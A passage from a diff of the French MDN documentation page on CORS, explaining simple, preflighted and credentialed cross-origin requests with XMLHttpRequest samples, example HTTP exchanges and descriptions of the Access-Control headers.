+function callOtherDomain() {
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}
+</pre>
+
+<p>Cela entraînera un échange simple entre le client et le serveur laissant aux en-têtes CORS le soin de gérer les privilèges d'accès :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14293/simple_req.png" style="height: 224px; width: 521px;"></p>
+
+<p>Voyons dans le détail ce que le navigateur envoie au serveur et quelle sera sa réponse :</p>
+
+<pre class="brush: shell;highlight:[10,16]">GET /resources/public-data/ HTTP/1.1
+Host: truc.autre
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://toto.example/exemples/access-control/simpleXSInvocation.html
+Origin: http://toto.example
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 00:23:53 GMT
+Server: Apache/2.0.61
+Access-Control-Allow-Origin: *
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: application/xml
+
+[XML Data]
+</pre>
+
+<p>Les lignes 1 à 10 correspondent aux en-têtes envoyés. L'en-tête qui nous intéresse particulièrement ici est {{HTTPHeader("Origin")}}, situé à la ligne 10 : on y voit que l'invocation provient du domaine <code class="plain">http://toto.example</code>.</p>
+
+<p>Les lignes 13 à 22 détaillent la réponse HTTP du serveur situé sous le domaine <code class="plain">http://truc.autre</code>. Dans la réponse, le serveur renvoie un en-tête {{HTTPHeader("Access-Control-Allow-Origin")}} (visible à la ligne 16). On voit ici les en-têtes {{HTTPHeader("Origin")}} et {{HTTPHeader("Access-Control-Allow-Origin")}} pour un contrôle d'accès dans sa forme la plus simple. Ici, le serveur répond avec <code>Access-Control-Allow-Origin: *</code> ce qui signifie que la ressource peut être demandée par n'importe quel domaine. Si les propriétés de la ressource située sous <code class="plain">http://truc.autre</code> souhaitaient restreindre l'accès à la ressource à l'origine <code class="plain">http://toto.example</code>, ils auraient renvoyé :</p>
+
+<p><code class="plain">Access-Control-Allow-Origin: http://toto.example</code></p>
+
+<p>On notera que, dans ce cas, aucun autre domaine que <code class="plain">http://toto.example</code> (tel qu'identifié par l'en-tête <code>Origin</code>) ne pourra accéder à la ressource. L'en-tête <code>Access-Control-Allow-Origin</code> devrait contenir la valeur qui a été envoyée dans l'en-tête  <code>Origin</code> de la requête.</p>
+
+<h3 id="Requêtes_nécessitant_une_requête_préliminaire"><a id="preflight" name="preflight">Requêtes nécessitant une requête préliminaire</a></h3>
+
+<p>À la différence des <a href="#simples">requêtes simples</a>, les requêtes préliminaires envoient d'abord une requête HTTP avec la méthode {{HTTPMethod("OPTIONS")}} vers la ressource de l'autre domaine afin de déterminer quelle requête peut être envoyée de façon sécurisée. Les requêtes entre différents sites peuvent notamment utiliser ce mécanisme de vérification préliminaire lorsque des données utilisateurs sont impliquées.</p>
+
+<p>Une requête devra être précédée d'une requête préliminaire si <strong>une</strong> des conditions suivantes est respectée :</p>
+
+<ul>
+ <li>La requête utilise une des méthodes suivantes :
+  <ul>
+   <li>{{HTTPMethod("PUT")}}</li>
+   <li>{{HTTPMethod("DELETE")}}</li>
+   <li>{{HTTPMethod("CONNECT")}}</li>
+   <li>{{HTTPMethod("OPTIONS")}}</li>
+   <li>{{HTTPMethod("TRACE")}}</li>
+   <li>{{HTTPMethod("PATCH")}}</li>
+  </ul>
+ </li>
+ <li><strong>Ou si</strong>, en dehors des en-têtes automatiquement paramétrés par l'agent utilisateur (comme {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}} ou <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">tout autre en-tête dont le nom est réservé dans la spécification</a>), la requête inclut <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">tout autre en-tête que ceux définis sur la liste blanche</a> :
+  <ul>
+   <li>{{HTTPHeader("Accept")}}</li>
+   <li>{{HTTPHeader("Accept-Language")}}</li>
+   <li>{{HTTPHeader("Content-Language")}}</li>
+   <li>{{HTTPHeader("Content-Type")}} (cf. les contraintes supplémentaires ci-après)</li>
+   <li>{{HTTPHeader("Last-Event-ID")}}</li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li>
+  </ul>
+ </li>
+ <li><strong>Ou si</strong> l'en-tête {{HTTPHeader("Content-Type")}} possède une valeur autre que :
+  <ul>
+   <li><code>application/x-www-form-urlencoded</code></li>
+   <li><code>multipart/form-data</code></li>
+   <li><code>text/plain</code></li>
+  </ul>
+ </li>
+ <li><strong>Ou si</strong> un ou plusieurs gestionnaires d'évènements sont enregistrés sur l'objet {{domxref("XMLHttpRequestUpload")}} utilisé dans la requête.</li>
+ <li><strong>Ou si</strong> un objet {{domxref("ReadableStream")}} est utilisé dans la requête.</li>
+</ul>
+
+<div class="note"><strong>Note :</strong> WebKit Nightly et Safari Technology Preview ajoutent des restrictions supplémentaires pour les valeurs autorisées des en-têtes {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}} et {{HTTPHeader("Content-Language")}}. Si l'un de ces en-têtes a une valeur non-standard, WebKit/Safari considère que la requête ne correspond pas à une requête simple. Les valeurs considérées comme non-standard par WebKit/Safari ne sont pas documentées en dehors de ces bugs WebKit : <em><a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a></em>, <em><a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a></em> et <em><a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a></em>. Aucun autre navigateur n'implémente ces restrictions supplémentaires, car elles ne font pas partie de la spécification.</div>
+
+<p>Voici un exemple d'une requête qui devra être précédée d'une requête préliminaire :</p>
+
+<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest();
+var url = 'http://truc.autre/resources/post-here/';
+var body = '&lt;?xml version="1.0"?&gt;&lt;personne&gt;&lt;nom&gt;Toto&lt;/nom&gt;&lt;/personne&gt;';
+
+function callOtherDomain(){
+  if(invocation)
+    {
+      invocation.open('POST', url, true);
+      invocation.setRequestHeader('X-PINGOTHER', 'pingpong');
+      invocation.setRequestHeader('Content-Type', 'application/xml');
+      invocation.onreadystatechange = handler;
+      invocation.send(body);
+    }
+}
+
+......
+</pre>
+
+<p>Dans le fragment de code ci-avant, à la ligne 3, on crée un corps XML envoyé avec la requête <code>POST</code> ligne 8. Sur la ligne 9, on voit également un en-tête de requête HTTP non standard : <code>X-PINGOTHER: pingpong</code>. De tels en-têtes ne sont pas décrits par le protocole HTTP/1.1 mais peuvent être utilisés par les applications web. La requête utilisant un en-tête <code>Content-Type</code> qui vaut <code>application/xml</code> et un en-tête spécifique, il est nécessaire d'envoyer au préalable une requête préliminaire.</p>
+
+<p><img alt="pre-flight CORS french" src="https://mdn.mozillademos.org/files/17065/preflight_correct.png" style="height: 553px; width: 521px;"></p>
+
+<div class="note">
+<p><strong>Note :</strong> Comme décrit après, la vraie requête POST n'inclut pas les en-têtes <code>Access-Control-Request-*</code> qui sont uniquement nécessaires pour la requête OPTIONS.</p>
+</div>
+
+<p>Voyons ce qui se passe entre le client et le serveur. Le premier échange est la requête/réponse préliminaire :</p>
+
+<pre class="brush: none;highlight:[1,10,11,17-20]">OPTIONS /resources/post-here/ HTTP/1.1
+Host: truc.autre
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Origin: http://toto.example
+Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:39 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://toto.example
+Access-Control-Allow-Methods: POST, GET
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 0
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+</pre>
+
+<p>Une fois que la requête préliminaire est effectuée, la requête principale est envoyée :</p>
+
+<pre class="brush: none;">POST /resources/post-here/ HTTP/1.1
+Host: truc.autre
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+X-PINGOTHER: pingpong
+Content-Type: text/xml; charset=UTF-8
+Referer: http://toto.example/exemples/preflightInvocation.html
+Content-Length: 55
+Origin: http://toto.example
+Pragma: no-cache
+Cache-Control: no-cache
+
+&lt;?xml version="1.0"?&gt;&lt;personne&gt;&lt;nom&gt;Toto&lt;/nom&gt;&lt;/personne&gt;
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:40 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://toto.example
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 235
+Keep-Alive: timeout=2, max=99
+Connection: Keep-Alive
+Content-Type: text/plain
+
+[Une charge utile GZIPée]
+</pre>
+
+<p>Entre les lignes 1 à 12 qui précèdent, on voit la requête préliminaire avec la méthode {{HTTPMethod("OPTIONS")}}. Le navigateur détermine qu'il est nécessaire d'envoyer cela à cause des paramètres de la requête fournie par le code JavaScript. De cette façon le serveur peut répondre si la requête principale est acceptable et avec quels paramètres. OPTIONS est une méthode HTTP/1.1 qui est utilisée afin de déterminer de plus amples informations à propos du serveur. La méthode OPTIONS est une méthode « sûre » (<em>safe</em>) et ne change aucune ressource. On notera, qu'avec la requête OPTIONS, deux autres en-têtes sont envoyés (cf. lignes 10 et 11) :</p>
+
+<pre class="brush: none">Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+</pre>
+
+<p>L'en-tête {{HTTPHeader("Access-Control-Request-Method")}} indique au serveur, pendant la requête préliminaire, que la requête principale sera envoyée avec la méthode <code>POST</code>. L'en-tête {{HTTPHeader("Access-Control-Request-Headers")}} indique au serveur que la requête principale sera envoyée avec un en-tête <code>X-PINGOTHER</code> et un en-tête <code>Content-Type</code> spécifique. Le serveur peut alors déterminer s'il souhaite accepter une telle requête.</p>
+
+<p>Dans les lignes 14 à 26 qui suivent, on voit la réponse renvoyée par le serveur qui indique que la méthode de la requête (<code>POST</code>) ainsi que ses en-têtes (<code>X-PINGOTHER</code>) sont acceptables. Voici ce qu'on peut notamment lire entre les lignes 17 et 20 :</p>
+
+<pre class="brush: none">Access-Control-Allow-Origin: http://toto.example
+Access-Control-Allow-Methods: POST, GET
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400</pre>
+
+<p>Le serveur répond avec un en-tête <code>Access-Control-Allow-Methods</code> et indique que les méthodes <code>POST</code> et <code>GET</code> sont acceptables pour manipuler la ressource visée. On notera que cet en-tête est semblable à l'en-tête de réponse {{HTTPHeader("Allow")}}, toutefois, <code>Access-Control-Allow-Methods</code> est uniquement utilisé dans le cadre du contrôle d'accès.</p>
+
+<p>Le serveur envoie également l'en-tête <code>Access-Control-Allow-Headers</code> avec une valeur "<code>X-PINGOTHER, Content-Type</code>" qui confirme que les en-têtes souhaités sont autorisés pour la requête principale. Comme <code>Access-Control-Allow-Methods</code>, <code>Access-Control-Allow-Headers</code> est une liste d'en-têtes acceptables séparés par des virgules.</p>
+
+<p>Enfin, l'en-tête {{HTTPHeader("Access-Control-Max-Age")}} indique avec une valeur exprimée en secondes, la durée pendant laquelle cette réponse préliminaire peut être mise en cache avant la prochaine requête préliminaire. Ici, la réponse est 86400 secondes, ce qui correspond à 24 heures. On notera ici que chaque navigateur possède<a href="/fr/docs/Web/HTTP/Headers/Access-Control-Max-Age"> un maximum interne</a> qui a la priorité lorsque <code>Access-Control-Max-Age</code> lui est supérieur.</p>
+
+<h4 id="Requêtes_préliminaires_et_redirection">Requêtes préliminaires et redirection</h4>
+
+<p>À l'heure actuelle, la plupart des navigateurs ne prennent pas en charge les redirections pour les requêtes préliminaires. Si une redirection se produit pour une requête préliminaire, la plupart des navigateurs émettront un message d'erreur semblables à ceux-ci.</p>
+
+<blockquote>
+<p>La requête a été redirigée vers 'https://example.com/toto', ce qui n'est pas autorisé pour les requêtes multi-origines qui doivent être précédées d'une requête préliminaire. (<em>The request was redirected to 'https://example.com/toto', which is disallowed for cross-origin requests that require preflight.</em>)</p>
+</blockquote>
+
+<blockquote>
+<p>Il est nécessaire d'effectuer une requête préliminaire pour cette requête, or, ceci n'est pas autorisé pour suivre les redirections multi-origines. (<em>Request requires preflight, which is disallowed to follow cross-origin redirect.</em>)</p>
+</blockquote>
+
+<p>Le protocole CORS demandait initialement ce comportement. Toutefois, <a href="https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2">il a été modifié et ces erreurs ne sont plus nécessaires</a>. Toutefois, la plupart des navigateurs n'ont pas encore implémenté cette modification et conservent alors le comportement conçu initialement.</p>
+
+<p>En attendant que les navigateurs comblent ce manque, il est possible de contourner cette limitation en utilisant l'une de ces deux méthodes :</p>
+
+<ul>
+ <li>Modifier le comportement côté serveur afin d'éviter la requête préliminaire ou la redirection (dans le cas où vous contrôler le serveur sur lequel la requête est effectuée)</li>
+ <li>Modifier la requête afin que ce soit une <a href="#simples">requête simple</a> qui ne nécessite pas de requête préliminaire.</li>
+</ul>
+
+<p>S'il n'est pas possible d'appliquer ces changements, on peut également :</p>
+
+<ol>
+ <li>Effectuer <a href="#simples">une requête simple</a> (avec <code><a href="/fr/docs/Web/API/Response/url">Response.url</a></code> si on utilise l'API Fetch ou  <code><a href="/fr/docs/Web/API/XMLHttpRequest/responseURL">XHR.responseURL</a></code> si on utilise XHR) afin de déterminer l'URL à laquelle aboutirait la requête avec requête préliminaire.</li>
+ <li>Effectuer la requête initialement souhaitée avec l'URL <em>réelle</em> obtenue à la première étape.</li>
+</ol>
+
+<p>Toutefois, si la requête déclenche une requête préliminaire suite à l'absence de l'en-tête {{HTTPHeader("Authorization")}}, on ne pourra pas utiliser cette méthode de contournement et il sera nécessaire d'avoir accès au serveur pour contourner le problème.</p>
+
+<h3 id="Requêtes_avec_informations_dauthentification"><a id="credentials" name="credentials">Requêtes avec informations d'authentification</a></h3>
+
+<p>Une des fonctionnalités intéressante mise en avant par le CORS (via {{domxref("XMLHttpRequest")}} ou <a href="/fr/docs/Web/API/Fetch_API">Fetch</a>) est la possibilité d'effectuer des requêtes authentifiées reconnaissant les <a href="/fr/docs/Web/HTTP/Cookies">cookies HTTP</a> et les informations d'authentification HTTP. Par défaut, lorsqu'on réalise des appels {{domxref("XMLHttpRequest")}} ou <a href="/fr/docs/Web/API/Fetch_API">Fetch</a> entre différents sites, les navigateurs n'enverront pas les informations d'authentification. Pour cela, il est nécessaire d'utiliser une option spécifique avec le constructeur {{domxref("XMLHttpRequest")}} ou {{domxref("Request")}} lorsqu'on l'appelle.</p>
+
+<p>Dans cet exemple, le contenu chargé depuis <code class="plain">http://toto.example</code> effectue une requête GET simple vers une ressource située sous <code class="plain">http://truc.autre</code> qui définit des <em>cookies</em>. Voici un exemple de code JavaScript qui pourrait se trouver sur <code>toto.example</code> :</p>
+
+<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest();
+var url = 'http://truc.autre/resources/credentialed-content/';
+
+function callOtherDomain(){
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.withCredentials = true;
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}</pre>
+
+<p>À la ligne 7, on voit que l'option <code>withCredentials</code>, du constructeur {{domxref("XMLHttpRequest")}}, doit être activée pour que l'appel utilise les <em>cookies</em>. Par défaut, l'appel sera réalisé sans les <em>cookies</em>. Cette requête étant une simple requête <code>GET</code>, il n'est pas nécessaire d'avoir une requête préliminaire. Cependant, le navigateur rejettera tout réponse qui ne possède pas l'en-tête {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> et la réponse correspondante ne sera pas disponible pour le contenu web qui l'a demandée.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14291/cred-req.png" style="height: 223px; width: 521px;"></p>
+
+<p>Voici un exemple d'échange entre le client et le serveur :</p>
+
+<pre class="brush: none">GET /resources/access-control-with-credentials/ HTTP/1.1
+Host: truc.autre
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://toto.example/exemples/credential.html
+Origin: http://toto.example
+Cookie: pageAccess=2
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:34:52 GMT
+Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2
+X-Powered-By: PHP/5.2.6
+Access-Control-Allow-Origin: http://toto.example
+Access-Control-Allow-Credentials: true
+Cache-Control: no-cache
+Pragma: no-cache
+Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 106
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+
+
+[text/plain payload]
+</pre>
+
+<p>Bien que la ligne 11 contienne le <em>cookie</em> pour le contenu sous <code class="plain">http://truc.autre</code>, si <code>truc.autre</code> n'avait pas répondu avec {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> (cf. ligne 19), la réponse aurait été ignorée et n'aurait pas pu être consommée par le contenu web.</p>
+
+<h4 id="Requêtes_authentifiées_et_jokers_wildcards">Requêtes authentifiées et jokers (<em>wildcards</em>)</h4>
+
+<p>Lorsqu'il répond à une requête authentifiée, le serveur <strong>doit</strong> indiquer une origine via la valeur de l'en-tête <code>Access-Control-Allow-Origin</code>, il ne doit pas utiliser le joker "<code>*</code>".</p>
+
+<p>Avec la requête précédente, on voit la présence d'un en-tête <code>Cookie</code> mais la requête échouerait si la valeur de l'en-tête de réponse <code>Access-Control-Allow-Origin</code> était "<code>*</code>". Ici, ce n'est pas le cas : <code>Access-Control-Allow-Origin</code> vaut "<code class="plain">http://toto.example</code>" et le contenu récupéré par la requête est alors envoyé au contenu web.</p>
+
+<p>Dans cet exemple, on notera également que l'en-tête de réponse <code>Set-Cookie</code> définit un autre <em>cookie</em>. En cas d'échec, une exception (dépendant de l'API utilisée) sera levée.</p>
+
+<h4 id="Cookies_tiers"><em>Cookies</em> tiers</h4>
+
+<p>On notera que les <em>cookies</em> provenant de réponses CORS sont également sujets aux règles qui s'appliquent aux <em>cookies</em> tiers. Dans l'exemple précédent, la page est chargée depuis <code>toto.example</code> et, à la ligne 22, le <em>cookie</em> est envoyé par <code>truc.autre</code>. Aussi, ce <em>cookie</em> n'aurait pas été enregistré si l'utilisateur avait paramétré son navigateur pour rejeter les <em>cookies</em> tiers.</p>
+
+<h2 id="En-têtes_de_réponse_HTTP">En-têtes de réponse HTTP</h2>
+
+<p>Dans cette section, on liste les en-têtes de réponse HTTP qui sont renvoyés par le serveur pour le contrôle d'accès, tels que définis par la spécification <em>Cross-Origin Resource Sharing</em>. La section précédente illustre, avec des exemples concrets, leur fonctionnement.</p>
+
+<h3 id="Access-Control-Allow-Origin"><code>Access-Control-Allow-Origin</code></h3>
+
+<p>Une ressource de réponse peut avoir un en-tête {{HTTPHeader("Access-Control-Allow-Origin")}} avec la syntaxe suivante :</p>
+
+<pre class="brush: none">Access-Control-Allow-Origin: &lt;origin&gt; | *
+</pre>
+
+<p>Le paramètre <code>origin</code> définit un URI qui peut accéder à la ressource. Le navigateur doit respecter cette contrainte. Pour les requêtes qui n'impliquent pas d'informations d'authentification, le serveur pourra indiquer un joker ("<code>*</code>") qui permet à n'importe quelle origine d'accéder à la ressource.</p>
+
+<p>Si on souhaite, par exemple, autoriser <code>http://mozilla.org</code> à accéder à la ressource, on pourra répondre avec :</p>
+
+<pre class="brush: none">Access-Control-Allow-Origin: http://mozilla.org</pre>
+
+<p>Si le serveur indique une origine spécifique plutôt que "<code>*</code>", il pourra également inclure la valeur <code>Origin</code> dans l'en-tête de réponse {{HTTPHeader("Vary")}} pour indiquer au client que la réponse du serveur variera selon la valeur de l'en-tête de requête {{HTTPHeader("Origin")}}.</p>
+
+<h3 id="Access-Control-Expose-Headers"><code>Access-Control-Expose-Headers</code></h3>
+
+<p>L'en-tête {{HTTPHeader("Access-Control-Expose-Headers")}} fournit une liste blanche des en-têtes auxquels les navigateurs peuvent accéder. Ainsi :</p>
+
+<pre class="brush: none">Access-Control-Expose-Headers: X-Mon-En-tete-Specifique, X-Un-Autre-En-tete
+</pre>
+
+<p>Cela permettra que les en-têtes <code>X-Mon-En-tete-Specifique</code> et <code>X-Un-Autre-En-tete</code> soient utilisés par le navigateur.</p>
+
+<h3 id="Access-Control-Max-Age"><code>Access-Control-Max-Age</code></h3>
+
+<p>L'en-tête {{HTTPHeader("Access-Control-Max-Age")}} indique la durée pendant laquelle le résultat de la requête préliminaire peut être mis en cache (voir les exemples ci-avant pour des requêtes impliquant des requêtes préliminaires).</p>
+
+<pre class="brush: none">Access-Control-Max-Age: &lt;delta-en-secondes&gt;
+</pre>
+
+<p>Le paramètre <code>delta-en-seconds</code> indique le nombre de secondes pendant lesquelles les résultats peuvent être mis en cache.</p>
+
+<h3 id="Access-Control-Allow-Credentials"><code>Access-Control-Allow-Credentials</code></h3>
+
+<p>L'en-tête {{HTTPHeader("Access-Control-Allow-Credentials")}} indique si la réponse à la requête doit être exposée lorsque l'option <code>credentials</code> vaut <code>true</code>. Lorsque cet en-tête est utilisé dans une réponse préliminaire, cela indique si la requête principale peut ou non être effectuée avec des informations d'authentification. On notera que les requêtes <code>GET</code> sont des requêtes simples et si une requête est effectuée, avec des informations d'authentification pour une ressource, et que cet en-tête n'est pas renvoyé, la réponse sera ignorée par le navigateur et sa charge ne pourra pas être consommée par le contenu web.</p>
+
+<pre class="brush: none">Access-Control-Allow-Credentials: true
+</pre>
+
+<p><a class="internal" href="#credentials">Voir les scénarios ci-avant pour des exemples</a>.</p>
+
+<h3 id="Access-Control-Allow-Methods"><code>Access-Control-Allow-Methods</code></h3>
+
+<p>L'en-tête {{HTTPHeader("Access-Control-Allow-Methods")}} indique la ou les méthodes qui sont autorisées pour accéder à la ressoure. Cet en-tête est utilisé dans la réponse à la requête préliminaire (voir ci-avant <a href="#preflight">les conditions dans lesquelles une requête préliminaire est nécessaire</a>).</p>
+
+<pre class="brush: none">Access-Control-Allow-Methods: &lt;methode&gt;[, &lt;methode&gt;]*
+</pre>
+
+<p><a href="#preflight">Voir un exemple ci-avant pour l'utilisation de cet en-tête</a>.</p>
+
+<h3 id="Access-Control-Allow-Headers"><code>Access-Control-Allow-Headers</code></h3>
+
+<p>L'en-tête {{HTTPHeader("Access-Control-Allow-Headers")}} est utilisé dans une réponse à une requête préliminaire afin d'indiquer les en-têtes HTTP qui peuvent être utilisés lorsque la requête principale est envoyée.</p>
+
+<pre class="brush: none">Access-Control-Allow-Headers: &lt;nom-champ&gt;[, &lt;nom-champ&gt;]*
+</pre>
+
+<h2 id="En-têtes_de_requête_HTTP">En-têtes de requête HTTP</h2>
+
+<p>Dans cette section, nous allons décrire les en-têtes que les clients peuvent utiliser lors de l'envoi de requêtes HTTP afin d'exploiter les fonctionnalités du CORS. Ces en-têtes sont souvent automatiquement renseignés lors d'appels aux serveurs. Les développeurs qui utilisent {{domxref("XMLHttpRequest")}} pour les requêtes multi-origines n'ont pas besoin de paramétrer ces en-têtes dans le code JavaScript.</p>
+
+<h3 id="Origin"><code>Origin</code></h3>
+
+<p>L'en-tête {{HTTPHeader("Origin")}} indique l'origine de la requête (principale ou préliminaire) pour l'accès multi-origine.</p>
+
+<pre class="brush: none">Origin: &lt;origine&gt;
+</pre>
+
+<p>L'origine est un URI qui indique le serveur à partir duquel la requête a été initiée. Elle n'inclut aucune information relative au chemin mais contient uniquement le nom du serveur.</p>
+
+<div class="note"><strong>Note :</strong> <code>origine</code> peut être une chaîne vide (ce qui s'avère notamment utile lorsque la source est une URL de donnée).</div>
+
+<p>Pour chaque requête avec contrôle d'accès, l'en-tête {{HTTPHeader("Origin")}} sera <strong>toujours</strong> envoyé.</p>
+
+<h3 id="Access-Control-Request-Method"><code>Access-Control-Request-Method</code></h3>
+
+<p>L'en-tête {{HTTPHeader("Access-Control-Request-Method")}} est utilisé lorsqu'on émet une requête préliminaire afin de savoir quelle méthode HTTP pourra être utilisée avec la requête principale.</p>
+
+<pre class="brush: none">Access-Control-Request-Method: &lt;methode&gt;
+</pre>
+
+<p>Voir <a href="#preflight">ci-avant pour des exemples d'utilisation de cet en-tête</a>.</p>
+
+<h3 id="Access-Control-Request-Headers"><code>Access-Control-Request-Headers</code></h3>
+
+<p>L'en-tête {{HTTPHeader("Access-Control-Request-Headers")}} est utilisé lorsqu'on émet une requête préliminaire afin de communiquer au serveur les en-têtes HTTP qui seront utilisés avec la requête principale.</p>
+
+<pre class="brush: none">Access-Control-Request-Headers: &lt;nom-champ&gt;[, &lt;nom-champ&gt;]*
+</pre>
+
+<p>Voir <a href="#preflight">ci-avant pour des exemples d'utilisation de cet en-tête</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Nouvelle définition, remplace la spécification <a href="https://www.w3.org/TR/cors/">W3C pour le CORS</a>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p>
+
+<h3 id="Notes_de_compatibilité">Notes de compatibilité</h3>
+
+<ul>
+ <li>Internet Explorer 8 et 9 exposent les fonctionnalités relatives au CORS via l'objet <code>XDomainRequest</code>. L'implémentation complète est disponible à partir d'IE 10.</li>
+ <li>Bien que Firefox 3.5 ait introduit la prise en charge des requêtes <code>XMLHttpRequest</code> entre différents sites et des polices web, certaines requêtes étaient limitées jusqu'à des versions ultérieures. Plus précisément, Firefox 7 permet les requêtes multi-origines pour les textures WebGL et Firefox 9 permet la récupération d'images dessinées sur un canevas via <code>drawImage</code>.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="https://arunranga.com/examples/access-control/">Exemples de codes utilisant <code>XMLHttpRequest</code> et le CORS (en anglais)</a></li>
+ <li><a href="https://github.com/jackblackevo/cors-jsonp-sample">Exemples de code côté client et côté serveur utilisant le CORS (en anglais)</a></li>
+ <li><a class="internal" href="/fr/docs/Web/HTTP/Server-Side_Access_Control">Le CORS vu côté serveur (PHP, etc.)</a></li>
+ <li>{{domxref("XMLHttpRequest")}}</li>
+ <li><a href="/fr/docs/Web/API/Fetch_API">L'API Fetch</a></li>
+ <li><a href="https://www.html5rocks.com/en/tutorials/cors/">Utiliser le CORS - HTML5 Rocks (en anglais)</a></li>
+ <li><a href="https://stackoverflow.com/questions/43871637/no-access-control-allow-origin-header-is-present-on-the-requested-resource-whe/43881141#43881141">Une réponse Stack Overflow pour répondre aux problèmes fréquemment posés par le CORS (en anglais)</a> :
+  <ul>
+   <li>Comment éviter les requêtes préliminaires</li>
+   <li>Comment utiliser un proxy CORS pour contourner <em>No Access-Control-Allow-Origin header</em></li>
+   <li>Comment corriger <em>Access-Control-Allow-Origin header must not be the wildcard</em></li>
+  </ul>
+ </li>
+</ul>
+
+<div id="mouseposition-extension-element-full-container" style="position: fixed; top: 0px; left: 0px; right: 0px; font-weight: 400;">
